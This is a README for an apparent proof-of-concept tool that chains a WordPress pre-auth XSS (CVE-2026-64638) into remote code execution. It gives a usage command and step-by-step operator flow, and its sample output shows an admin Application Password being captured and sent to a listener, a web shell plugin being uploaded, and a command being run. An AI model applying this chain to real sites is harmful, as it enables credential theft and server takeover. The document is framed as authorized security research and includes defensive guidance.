XSS2Shell

XSS2Shell is an educational proof of concept for CVE-2026-64638, demonstrating the impact of a pre-authentication XSS issue in vulnerable WordPress installations. With an administrator's explicit participation, the PoC captures a WordPress Application Password, publishes a temporary page, uploads a test plugin, and checks whether the resulting shell endpoint can execute a command.

Technical background: WordPress Pre-Auth XSS to RCE: CVE-2026-64638

Education and authorized testing only. Run this tool only against WordPress sites you own or have written permission to assess. Do not use it to target third-party administrators or production systems.

Requirements

• Python 3.7 or newer
• A reachable WordPress test installation
• An administrator who can log in to the target and open the attacker URL
• Network access from the administrator's browser to the listener address
• No third-party Python packages

Usage

python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"

Options

Option	Required	Description
-t, --target	Yes	WordPress base URL, including http:// or https://
-c, --command	Yes	Command to run after the shell is available
--lhost	No	Listener IP to bind and advertise; defaults to the detected LAN IP
--lport	No	Listener port; 0 selects a random available port
--keep	No	Keep published artifacts instead of deleting the temporary page

The target URL is normalized automatically, so a trailing slash is optional.

Operator flow

1. The tool checks that /wp-login.php is reachable and looks like a WordPress login page.
2. It starts a local HTTP listener and prints the listener URL.
3. The authorized administrator logs in to the target and opens that URL.
4. The browser flow requests an Application Password and sends the result to the listener.
5. The PoC publishes a temporary attacker page using the captured credentials.
6. The page uploads the test plugin with the administrator's session.
7. The tool verifies shell.php and runs the requested command.

The listener must be reachable by the administrator's browser. NAT, firewall, proxy, popup-blocking, and mixed-content rules can prevent the browser flow from completing.

Example output

 __          __           _  _____           
 \ \        / /          | |/ ____|          
  \ \  /\  / /__  _ __ __| | (___   ___  ___ 
   \ \/  \/ / _ \| '__/ _` |\___ \ / _ \/ __|
    \  /\  / (_) | | | (_| |____) |  __/ (__ 
     \/  \/ \___/|_|  \__,_|_____/ \___|\___|
                                              
                                              
xss2shell & CVE-2026-64638 |  https://wordsec.net/ - Education Purpose Only


============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
    ->  http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
    ->  http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php

============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved

[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.

Artifacts and cleanup

Successful runs save the captured Application Password in xss2shell_creds.json for reuse on later runs. The temporary published page is deleted automatically after the command unless --keep is used.

The test plugin, shell endpoint, Application Password, and saved credentials are intentionally preserved by the current PoC. Remove them manually from the test site after an authorized assessment, and delete xss2shell_creds.json locally.

Treat the credentials file as sensitive and never commit it to version control.

Defensive guidance

• Patch WordPress to a version that is not affected by CVE-2026-64638.
• Enforce strong administrator authentication and enable 2FA.
• Restrict plugin installation and application-password creation to trusted roles.
• Review administrator Application Passwords, published pages, and recently installed plugins after testing.
• Monitor and block unexpected requests to plugin upload and REST endpoints.

License

Use the license included in this repository.

Made by WordSec